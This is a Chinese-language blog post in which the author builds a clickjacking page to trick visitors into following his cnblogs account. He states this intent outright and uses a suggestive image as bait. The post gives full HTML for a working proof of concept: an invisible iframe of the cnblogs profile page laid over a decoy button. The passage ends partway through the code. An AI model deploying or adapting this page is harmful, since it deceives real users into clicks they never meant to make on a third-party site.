卑微小吳,挖洞挖不到,關注我博客的人也才一個,正好在學點擊劫持,于是想能不能造一個類似于facebook likejacking 的 cnblog likejacking 這種騷套路來騙人關注我,嗯,是個好想法!
第一步,選張羞羞的圖片
例如:

第二步,建一個html檔案
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>點擊劫持 POC</title>
<style>
iframe {
width: 100%;
height: 100%;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0); //這里寫三種不同的透明度設定呢是想適配各大瀏覽器
}
button {
display: block;
width: 68.8px;
height: 25.6px;
border-radius:2em;
font-size: 12px;
background-color: #f2fddb;
border: 1px solid #aecd3d;
position: absolute;
top: 298px;
left: 631px;
}
</style>
</head>
<body>
<button>你懂的</button>
<img src=https://www.cnblogs.com/wjrblogs/p/"xiuxiutu.png"> //這里寫圖片地址
<iframe src="https://home.cnblogs.com/u/wjrblogs/" scrolling="no"></iframe> //這里寫博客首頁地址
